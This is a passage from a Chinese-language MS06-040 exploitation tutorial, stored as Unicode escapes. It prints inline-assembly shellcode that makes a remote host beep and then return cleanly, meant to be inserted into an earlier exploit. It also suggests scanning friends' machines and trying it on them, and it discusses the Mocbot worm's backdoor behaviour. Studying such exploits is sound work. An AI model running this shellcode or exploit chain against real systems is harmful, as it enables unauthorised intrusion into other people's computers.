\nEBP\u7684\u6062\u590d\u7a0d\u5fae\u590d\u6742\u4e00\u70b9\u3002\u867d\u7136\u6808\u9876\u548c\u6808\u5e95\u7684\u5730\u5740\u662f\u52a8\u6001\u7684\uff0c\u6bcf\u6b21\u8c03\u7528\u90fd\u4e0d\u4e00\u6837\uff0c\u4f46\u662f\u524d\u4e00\u4e2a\u51fd\u6570\u5f00\u7684\u6808\u7a7a\u95f4\u5927\u5c0f\u662f\u4e00\u5b9a\u7684\uff0c\u8fd9\u53d6\u51b3\u4e8e\u51fd\u6570\u5185\u90e8\u53d8\u91cf\u7684\u5927\u5c0f\u3002\u4e5f\u5c31\u662f\u8bf4\u867d\u7136EBP\u548cESP\u7684\u5185\u5bb9\u6bcf\u6b21\u8c03\u7528\u90fd\u4e0d\u4e00\u6837\uff0c\u4f46\u662fEBP\u548cESP\u7684\u5dee\u503c\u5728\u6bcf\u6b21\u8c03\u7528\u65f6\u662f\u80af\u5b9a\u4e00\u6837\u7684\uff0c\u800cESP\u5728\u8fd9\u91cc\u5e76\u6ca1\u6709\u88ab\u7834\u574f\u6389\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u901a\u8fc7ESP\u7684\u503c\u548c\u6808\u7a7a\u95f4\u7684\u5927\u5c0f\u8ba1\u7b97\u51faEBP\u7684\u503c\uff0c\u5e76\u5728shellcode\u9000\u51fa\u524d\u6062\u590d\u8fd9\u4e2a\u503c\u3002
\n\u5206\u6790\u5b8c\u4e86\uff0c\u7528OLLYDBG\u8c03\u8bd5\u51e0\u904d\uff0c\u770b\u6e05\u51faEBP\u548cESP\u4e4b\u95f4\u7684\u5173\u7cfb\uff0c\u5c31\u53ef\u4ee5\u4fee\u6539\u4e00\u4e0bshellcode\u4e86\u3002
\n\u7531\u4e8e\u8c03\u7528\u56fe\u5f62\u51fd\u6570\u4f1a\u51fa\u95ee\u9898\uff0c\u6240\u4ee5\u8fd9\u91cc\u5728shellcode\u91cc\u6211\u4eec\u6362\u4e00\u4e2a\u51fd\u6570\u8c03\u7528\uff0c\u5c31\u662fBeep()\u51fd\u6570\u3002\u8fd9\u662fkernel32.dll\u91cc\u7684\u4e00\u4e2a\u51fd\u6570\uff0c\u5b83\u5229\u7528\u4e3b\u677f\u4e0a\u7684\u538b\u7535\u9676\u74f7\u7247\u53d1\u58f0\u7684\u51fd\u6570\uff0c\u4e5f\u5c31\u662f\u8bf4\u4e0d\u7ba1\u4f60\u6709\u6ca1\u6709\u58f0\u5361\u548c\u5587\u53ed\uff0c\u5b83\u90fd\u4f1a\u7528\u673a\u7bb1\u201c\u5600\u201d\u7684\u54cd\u4e00\u58f0\u7684\uff0c\u719f\u6089DOS\u7684\u670b\u53cb\u5bf9\u8fd9\u4e2a\u51fd\u6570\u4e0d\u4f1a\u964c\u751f\uff0c\u90a3\u4e2a\u5e74\u4ee3\u58f0\u5361\u3001\u97f3\u54cd\u8fd9\u4e9b\u4e1c\u897f\u5bf9\u8ba1\u7b97\u673a\u6765\u8bf4\u8fd8\u662f\u5f88\u9065\u8fdc\u7684\u3002\u8fd9\u4e2a\u51fd\u6570\u6709\u4e24\u4e2a\u53c2\u6570\uff0c\u4e00\u4e2a\u6307\u5b9a\u53d1\u58f0\u7684\u9891\u7387\uff0c\u4e00\u4e2a\u6307\u5b9a\u53d1\u58f0\u6301\u7eed\u7684\u65f6\u95f4\u3002\u5982\u679c\u4f60\u6ca1\u7528\u8fc7\uff0c\u770b\u4e0bMSDN\uff0c\u522b\u628a\u9891\u7387\u8bbe\u7f6e\u5230\u4eba\u8033\u6735\u542c\u4e0d\u5230\u7684\u5730\u65b9\u53bb\u4e86\u3002
\n\u6700\u540e\u6211\u5199\u51fa\u7684\u7528\u6765\u8ba9\u8fdc\u7a0b\u4e3b\u673a\u201c\u5600\u201d\u4e00\u4e0b\u5e76\u4e14\u53ef\u4ee5\u6b63\u5e38\u8fd4\u56de\u7684shellcode\u662f\u8fd9\u6837\u7684\uff1a
\n=======================================================================
\n#include
\nint main()
\n{
\n_asm{
\nmov ebp,esp
\nadd bp,0x10 \/\/recover ebp
\npop ecx
\npush ebp
\nmov ebp ,esp
\nsub sp ,0x444
\npush eax
\nxor eax,eax
\nmov Ax , 0x444
\npush eax
\nxor eax,eax
\nmov Ax, 0x444
\npush eax
\nmov eax,0x7C837A77
\ncall eax \/\/call beep
\npop eax
\nadd sp,0x444
\npop ebp
\nmov ecx ,0x7517F85B
\njmp ecx
\n}
\n}
\n\u4ee3\u78016\uff1a shellcode_beep.c
\n\u540c\u6837\u8981\u6ce8\u610f\u51fd\u6570\u5730\u5740\u4e0e\u5e73\u53f0\u7684\u5173\u7cfb\u3002\u7f16\u8bd1\u540e\u63d0\u51fashellcode\u653e\u8fdb\u524d\u8fb9\u7684exploit\u91cc\uff0c\u5269\u4e0b\u7684\u5c31\u662f\u6b23\u8d4f\u8fdc\u7a0b\u7684\u4e3b\u673a\u88ab\u6211\u4eec\u201c\u5600\u201d\u4e86\uff01
\n\u5728\u9644\u4ef6\u4e2d\u6211\u8fd8\u7ed9\u51fa\u4e86\u6211\u627e\u5230\u7684\u4e24\u4e2a\u5206\u522b\u7531EEYE\u548c\u542f\u660e\u661f\u8fb0\u51fa\u54c1\u7684MS06-040\u626b\u63cf\u5668\uff0c\u4f60\u53ef\u4ee5\u8bd5\u7740\u627e\u4e0b\u5468\u56f4\u6709\u6ca1\u6709\u670b\u53cb\u6709\u8fd9\u4e2a\u6f0f\u6d1e\uff0c\u7136\u540e\u5c31\u53ef\u4ee5\u7528\u6211\u4eec\u7684\u5b9e\u9a8c\u7a0b\u5e8f\u201c\u5600\u201d\u4ed6\u4e86\u3002\u4f60\u4e5f\u53ef\u4ee5\u6539\u4e00\u4e0b\u201c\u5600\u201d\u7684\u97f3\u8c03\u6216\u8005\u201c\u5600\u201d\u7684\u65f6\u95f4\uff0c\u751a\u81f3\u6839\u636e\u534a\u97f3\u4e4b\u95f4\u7684\u6307\u6570\u500d\u5173\u7cfb\u8ba9\u4f60\u670b\u53cb\u7684\u673a\u5668\u201c\u5600\u201d\u51fa\u4e00\u9996\u6b4c\u6765\uff0c\u79c0\u4e00\u4e0b\u6211\u4eec\u7684\u7814\u7a76\u6210\u679c\uff0c\u672b\u4e86\u4e0d\u8981\u5fd8\u4e86\u5584\u610f\u7684\u63d0\u793a\u4ed6\u6253\u8865\u4e01\u3002
\n\u5230\u8fd9\u91cc\uff0c\u672c\u6587\u5168\u90e8\u76847\u8282\u5b9e\u9a8c\u5185\u5bb9\u5c31\u5168\u90e8\u7ed3\u675f\u4e86\uff0c\u80fd\u591f\u5b9e\u9645\u52a8\u624b\u4e00\u6b65\u4e00\u6b65\u8ddf\u6211\u73a9\u5230\u73b0\u5728\u7684\u670b\u53cb\u4e00\u5b9a\u4f53\u4f1a\u5230\u4e86\u5f00\u5934\u7684\u90a3\u53e5\u8bdd\u7684\u542b\u4e49\u4e86\u5427\u3002
\nTo be the apostrophe which changed \"Impossible\" into \"I'm possible\"
\n\u5982\u679c\u4f60\u6709\u8db3\u591f\u7684\u6bc5\u529b\u548c\u8e0f\u5b9e\u7684\u6280\u672f\uff0c\u5728window\u91cc\u5f88\u591aImpossible\u90fd\u4f1a\u53d8\u6210I\u2019m possible\uff0c\u800c\u8fd9\u4e24\u8005\u95f4\u5f80\u5f80\u5c31\u5dee\u90a3\u4e48\u5de7\u5999\u7684\u4e00\u6487\uff01\u8fd9\u4e00\u6487\u7684\u5de7\u5999\u6b63\u662f\u6211\u559c\u7231\u8fd9\u79cd\u6280\u672f\u7684\u6839\u672c\u3002
\n3 \u5c55\u671b\u7bc7
\n\u2014\u2014\u5c71\u9ad8\u6708\u5c0f\uff0c\u6c34\u843d\u77f3\u51fa
\n\u5927\u9053\u4e0d\u8fc7\u4e8c\u4e09\u56db\u3002\u7136\u800c\u5728\u6211\u770b\u6765\uff0c\u552f\u6709\u8ddf\u8fdb\u5185\u5b58\uff0c\u76ef\u7740\u5bc4\u5b58\u5668\uff0c\u88ab\u83ab\u540d\u5176\u5999\u7684\u95ee\u9898\u53cd\u590d\u90c1\u95f7\u4e4b\u540e\u6700\u7ec8\u6210\u529f\u7684\u4eba\uff0c\u624d\u6709\u8d44\u683c\u8c08\u8bba\u201c\u9053\u201d\u3002\u4e0b\u9762\u5c31\u8ba9\u6211\u4eec\u62e8\u5f00\u4e91\u96fe\u53bb\u770b\u770b\u5c71\u9ad8\u6708\u5c0f\u548c\u6c34\u843d\u77f3\u51fa\u7684\u7f8e\u666f\u5427\u3002
\n3.1 \u9b54\u6ce2\uff0c\u8815\u866b\u73b0\u8eab\uff01
\n\u4e0d\u7ba1\u662f\u8ba9\u8fdc\u7a0b\u7684\u673a\u5668\u201c\u5600\u201d\u4e00\u4e0b\uff0c\u8fd8\u662f\u7ed1\u5b9acommand\u4f5c\u4e3a\u540e\u95e8\uff0c\u6216\u8005\u78c1\u76d8\u683c\u5f0f\u5316\uff0c\u8fd9\u4e9b\u5728\u7f16\u7a0b\u6280\u672f\u4e0a\u662f\u6ca1\u6709\u672c\u8d28\u533a\u522b\u7684\u3002\u53ef\u80fd\u7287\u7287\u4eec\u7684\u6280\u672f\u5230\u4e86\u4e00\u5b9a\u5c42\u6b21\u4f1a\u6709\u79cd\u9ad8\u5904\u4e0d\u80dc\u5bd2\u7684\u5bc2\u5bde\u611f\u5427\uff0c\u5c31\u6709\u4eba\u4f1a\u5199\u70b9\u4e1c\u897f\u8ba9\u81ea\u5df1\u7684\u7a0b\u5e8f\u5229\u7528\u6f0f\u6d1e\u5728\u7f51\u7edc\u95f4\u81ea\u5df1\u590d\u5236\u4f20\u64ad\uff0c\u8fd9\u5c31\u662f\u8815\u866b\u3002
\n\u7531\u4e8e\u5728XP SP2\u4e0aMS06-040\u662f\u4e0d\u80fd\u88ab\u6210\u529f\u5229\u7528\u7684\uff0c\u4e3b\u8981\u53d7\u5bb3\u673a\u5668\u96c6\u4e2d\u5728WIN2000\u548cXP\u4f4e\u7248\u672c\u64cd\u4f5c\u7cfb\u7edf\uff0c\u6240\u4ee5\u53d7\u5bb3\u673a\u7fa4\u8f83\u5c11\u3002\u53e6\u5916RPC\u8c03\u7528\u9700\u8981\u4f7f\u7528139\u548c445\u7aef\u53e3\uff0c\u8fd9\u4e24\u4e2a\u7aef\u53e3\u65e9\u5728\u51b2\u51fb\u6ce2\u5e74\u4ee3\u5c31\u88ab\u5404\u5927\u7f51\u5173\u8def\u7531\u5168\u9762\u5c01\u6740\u8fc7\u4e86\uff0c\u6240\u4ee5\u4ece\u7f51\u7edc\u89d2\u5ea6\u8bb2\uff0c\u8fd9\u6b21\u8ba1\u7b97\u673a\u98ce\u9669\u8fd8\u4e0d\u81f4\u4e8e\u5f15\u8d77\u62e5\u585e\u762b\u75ea\u3002
\n\u4f46\u662f\u6211\u4e2a\u4eba\u8ba4\u4e3a\uff0c\u8fd9\u6b21\u8ba1\u7b97\u673a\u98ce\u9669\u8fd8\u6ca1\u6709\u5b8c\u5168\u8fc7\u53bb\u3002\u56e0\u4e3a\u8815\u866b\u7206\u53d1\u65f6\u6b63\u503c\u5b66\u6821\u653e\u5047\uff0c\u53ef\u80fd\u5f53\u65f6\u5f71\u54cd\u5e76\u4e0d\u5927\u3002\u73b0\u5728\u9ad8\u6821\u5f00\u5b66\uff0c\u5927\u91cf\u6821\u56ed\u7f51\u7528\u6237\u65e0\u6cd5\u51fa\u56fd\u66f4\u65b0\u8865\u4e01\uff0c\u6240\u4ee5\u4ecd\u5e94\u5f53\u63d0\u9ad8\u8b66\u60d5\u3002
\n\u9b54\u6ce2\u7684\u9006\u5411\u5206\u6790\u6211\u4e0d\u60f3\u5728\u8fd9\u91cc\u5360\u7528\u7bc7\u5e45\u4e86\uff0c\u672c\u7740\u5b66\u4e60\u7814\u7a76\u63d0\u9ad8\u6280\u672f\u7684\u76ee\u7684\uff0c\u6211\u628a\u9b54\u6ce2\u7684shellcode\u90e8\u5206\u653e\u5728\u4e86\u9644\u4ef6\u4e2d\uff0c\u81f3\u4e8e\u5b8c\u6574\u7684\u4ee3\u7801\u548c\u53ef\u6267\u884c\u7684PE\u6837\u672c\u4e48\uff0c\u8bf7\u539f\u8c05\u8fd9\u91cc\u4e0d\u65b9\u4fbf\u516c\u5e03\uff0c\u56e0\u4e3a\u4e07\u4e00\u51e0\u4e2a\u70ed\u8840\u7684\u670b\u53cb\u7528\u8fd9\u4e9b\u8d44\u6599\u641e\u51fa\u51e0\u4e2a\u8815\u866b\u53d8\u79cd\u6765\u6211\u53ef\u62c5\u5f53\u4e0d\u8d77\u8fd9\u4e2a\u8d23\u4efb\u3002
\n\u9b54\u6ce2\u7684\u4e3b\u8981\u884c\u4e3a\u662f\u5f00\u540e\u95e8\uff0c\u628a\u76ee\u6807\u673a\u53d8\u6210\u80fd\u591f\u88ab\u8fdc\u63a7\u7684\u201c\u50f5\u5c38\u201d\u673a\u3002\u8fd9\u548c\u51b2\u51fb\u6ce2\u90a3\u79cd\u7eaf\u7cb9\u4ee5\u4f20\u64ad\u4e3a\u76ee\u7684\u7684\u8815\u866b\u5c0f\u6709\u4e0d\u540c\u3002\u6070\u5de7\u8bfe\u9898\u7ec4\u6709\u4e24\u4f4d\u535a\u58eb\u5728\u505a\u8fd9\u65b9\u9762\u7814\u7a76\uff0c\u5c31\u5927\u5634\u5df4\u66ff\u4ed6\u4eec\u591a\u8bf4\u4e24\u53e5\u4e86\u3002
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\n3.2 \u8865\u4e01\uff0c\u65e0\u6d1e\u53ef\u94bb\uff1f
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